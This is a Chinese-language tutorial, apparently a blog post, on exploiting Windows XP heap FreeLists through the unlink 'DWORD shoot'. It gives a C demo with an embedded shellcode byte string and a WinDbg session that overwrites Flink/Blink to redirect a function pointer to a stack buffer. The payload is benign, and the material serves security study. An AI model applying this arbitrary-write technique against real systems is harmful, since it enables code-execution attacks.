xp下堆溢出DWORD SHOOT狙击空闲表:前面写过通过堆溢出利用快表,这次我的目标是利用空闲表。千万不要觉得这是炒作话题,利用空闲表比利用快表要复杂很多。
因此希望读者不要在开头就弃篇。另外本文的定位是读者已经看过Oday安全软件漏洞第5章和软件调试第23章相关内容,对windows堆块管理有一定的认知。
正式开始前,先来看个重要的数据结构LIST_ENTRY--双向链表的链接节点_HEAP!FreeLists[128]数组的数组元素正是这样的元素:
typedef struct _LIST_ENTRY { struct _LIST_ENTRY* FLink; struct _LIST_ENTRY* BLink; }LIST_ENTRY;随着大量容器库的涌现,这种原始的需要程序员自己维护内存的结构逐渐退居二线,但是R0的代码里它的身影依然到处可见,堆管理器也用这个结构管理堆块。为了便于读者理解及更好的阐述DWORD shoot的原理,我还是简单的介绍一下这个结构的用法。
//双向列表插入 void InsertTailList( PLIST_ENTRY ListHead, PLIST_ENTRY Entry ) { Entry->Blink = ListHead->Blink; Entry->Flink = ListHead; ListHead->Blink->Flink = Entry; ListHead->Blink = Entry; } //删除链表节点,狙击空闲表的精髓就是这个函数 unsigned char RemoveEntryList( PLIST_ENTRY Entry ) { if(Entry->Flink == Entry) return 0; Entry->Flink->Blink = Entry->Blink; Entry->Blink->Flink = Entry->Flink; return 1; }
有了上面的铺垫,我开始继续介绍狙击空闲链表。示例程序如下(其实是对0day安全第五章的代码略作改动):
#includetypedef int (*PFN_fn)(); int func1() { printf("func1\n"); return 0; } int main(int argc, char* argv[]) { /* lea eax,func1; jmp eax; */ char buff[] = {"\x90\x90\x90\x90\x90\x90\x90\x90\x8D\x05\xCC\x10\x40\xCC\xFF\xE0"}; PFN_fn execStack = NULL; printf("execStack:%08x\nbuff:%08x\nfunc1:%08x\n",&execStack,buff,func1); buff[10] = 0x00; //buff[10]本应该是0x00,但初始化字符串数组时遇到0x00会截断后面的字符串,因此需要在初始化之前写个非零值,然后再改回来 buff[13] = 0x00; { HLOCAL h1, h2,h3,h4,h5,h6; HANDLE hp; int i = 0; hp = HeapCreate(0, 0x1000, 0x10000); h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); HeapFree(hp, 0, h1); HeapFree(hp, 0, h3); HeapFree(hp, 0, h5); _asm int 0x3; h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); //a) } (*execStack)(); return 0; }
重要的一点:创建堆时,如果标记堆为可扩展堆,则会启动快表分配,影响这次实验的过程(前面两篇xp下调试堆溢出 就是以HeapCreate(0,0,0);的形式创建扩展堆,进而溢出快表)。而这次代码中用HeapCreate(0,0x1000,0x10000);的形式创建不可扩展堆。
先调试正常情况下从空闲表分配堆块的流程(执行到a处时空闲表FreeList[2]的变化):
1).程序从int 3异常返回时:
0:000> p
push esi ;向堆栈中传入堆句柄
0:000> r @esi
esi=003a0000 ;CreateHeap创建的堆句柄
0:000> p
call edi {ntdll!RtlAllocateHeap (7c9300a4)}
0:000> dt _PEB @$peb
ntdll!_PEB
+0x088 NumberOfHeaps : 7
+0x090 ProcessHeaps : 0x7c99cfc0 -> 0x00140000 Void
0:000> dd 0x7c99cfc0 L6
7c99cfc0 00140000 00240000 00250000 00380000
7c99cfd0 003a0000 003b0000
0:000> dt _HEAP 003a0000 ;查看堆的空闲列表数组.数组项是大小为8B的LIST_ENTRY,因此FreeList[2]地址为0x3a0188
ntdll!_HEAP
+0x178 FreeLists : [128] _LIST_ENTRY [ 0x3a06e8 - 0x3a06e8 ]
0:000> dd 3a0178
003a0178 003a06e8 003a06e8 003a0180 003a0180
003a0188 003a0688 003a06c8 003a0190 003a0190
2).程序调用HeapAlloc时会以FreeList[2]->Blink参数调用RemoveEntryList,并执行如下操作:
Entry->Flink->Blink = Entry->Blink; Entry->Blink->Flink = Entry->Flink;其中Entry就是上面提到的FreeList[2]->Blink:
0:000> dt _LIST_ENTRY 003a0188 ntdll!_LIST_ENTRY [ 0x3a0688 - 0x3a06c8 ] +0x000 Flink : 0x003a0688 _LIST_ENTRY [ 0x3a06a8 - 0x3a0188 ] +0x004 Blink : 0x003a06c8 _LIST_ENTRY [ 0x3a0188 - 0x3a06a8 ] ;003a0188+0x04处内存的值是即将被参入RemoveEntryList作为参数Entry的freelist[2]->Blink 0:000> dd 003a0188+0x04 L1 003a018c 003a06c8 ;因为RemoveEntryList是对Entry->Flink和Entry->Blink进行操作,所以需要 ;查看这两个指针变量的值 0:000> dt _LIST_ENTRY 0x003a06c8 ;RemoveEntryList的参数Entry ntdll!_LIST_ENTRY [ 0x3a0188 - 0x3a06a8 ] +0x000 Flink : 0x003a0188 _LIST_ENTRY [ 0x3a0688 - 0x3a06c8 ] +0x004 Blink : 0x003a06a8 _LIST_ENTRY [ 0x3a06c8 - 0x3a0688 ] ;Entry->Flink的内存地址为0x3a06c8+0x00,内存0x3a06c8处的值为0x3a0188 0:000> dd 0x3a06c8+0x00 L1 003a06c8 003a0188 Entry->Flink->Blink的内存地址为0x003a0188+0x04,内存0x003a018c处的值为0x3a06c8 0:000> dd 003a0188+0x04 L1 003a018c 003a06c8 ;Entry->Blink的内存地址为0x3a06c8+0x04,内存0x3a06cc处的值为0x3a06a8 0:000> dd 0x3a06c8+0x04 L1 003a06cc 003a06a8 ;Entry->Blink->Flink的内存地址为0x003a06a8+0x00,内存0x003a06a8处的值为0x3a06c8 ;下面分解Entry->Flink->Blink = Entry->Blink;的操作 ;以Entry->Blink内存处的值(0x3a06a8)修改Entry->Flink->Blink内存(0x003a018c)处的值(0x3a06c8) ;可以预见当HeapAlloc返回,内存地址0x003a018c处的值为0x3a06a8 ;接着分解Entry->Blink->Flink = Entry->Flink;的操作 ;以Entry->Flink内存处的值(0x3a0188)修改Entry->Blink->Flink内存(0x003a06a8)处的值(0x3a06c8) ;可以预见当HeapAlloc返回,内存地址0x003a06a8处的值为0x3a06188 0:000> p list+0x10df: 004010df ff55fc call dword ptr [ebp-4] ss:0023:0012ff7c=00000000 0:000> dd 0x003a018c L1 003a018c 003a06a8 0:000> dd 0x003a06a8 L1 003a06a8 003a0188 ;换言之FreeList[2]->Flink的值为003a06a8 0:000> dd 3a0178 003a0178 003a06e8 003a06e8 003a0180 003a0180 003a0188 003a0688 003a06a8 003a0190 003a0190
由于堆管理器并不验证Entry->Flink和Entry->Blink地址合法性,而执行Entry->Blink->Flink = Entry->Flink;时有一次将源地址赋值给目的指针变量的过程.因此留给我们做溢出的大好机会:一般以Entry->Blink->Flink作为执行者(会发生如 call [Entry->Blink->Flink]的情况),如c++的虚函数更或者本例中的函数指针(原因后面分析),Entry->Flink作为可执行代码的首地址赋给Entry->Blink->Flink。
至于为什么选Entry->Blink->Flink作为执行者?得从2方面来回答,1)Entry->Blink->Flink和Entry->Flink->Blink都是被赋值的对象,因此有被恶意地址修改的可能,这点很重要;2)
Entry->Blink->Flink和Entry->Blink具有相同的内存地址,不用加上4B偏移,方便定位.正因为Entry->Blink->Flink和Entry->Blink具有相同的内存地址,所以我们只需要同时提供Entry->Flink和Entry->Blink的值(溢出用户堆内存,直到下一块空闲堆的LIST_ENTRY结构),就能完成一次DWORD shoot.
基于上面结论,我们来手动修改Entry->Flink和Entry->Blink的值,使得execStack指向func1.已知execStack函数指针的地址为0x12ff7c(前面说的会被调用的执行者)buff的地址是0x12ff60(可执行段的地址).因此,套用上面的规律:修改地址Entry->Flink处的值为0x12ff60 修改地址Entry->Blink处的值为0x12ff7c然后执行.
0:000> dd 3a06c8 l2 003906c8 003a0188 003a06a8 0:000> ed 3a06c8 12ff60 0:000> ed 3a06cc 12ff7c 0:000> p eax=003a06c8 ebx=77f51597 ecx=77f5180b edx=00000008 esi=003a0000 edi=77f516f8 eip=004010df esp=0012ff54 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 dworshoot+0x10df: 004010df ff55fc call dword ptr [ebp-4] ss:0023:0012ff7c=0012ff60 0:000> dd 12ff7c ;经过HeapAlloc后execStack指向了可执行栈buff的首地址 0012ff7c 0012ff60 0012ffc0 004011d5 00000001 ;execStack NULL 12ff60
0:000> dd 12ff60 l4 0012ff60 90909090 0012ff7c 1000058d e0ff0040最后贴上控制台输出结果,execStack执行buff中的shellcode向屏幕打印func1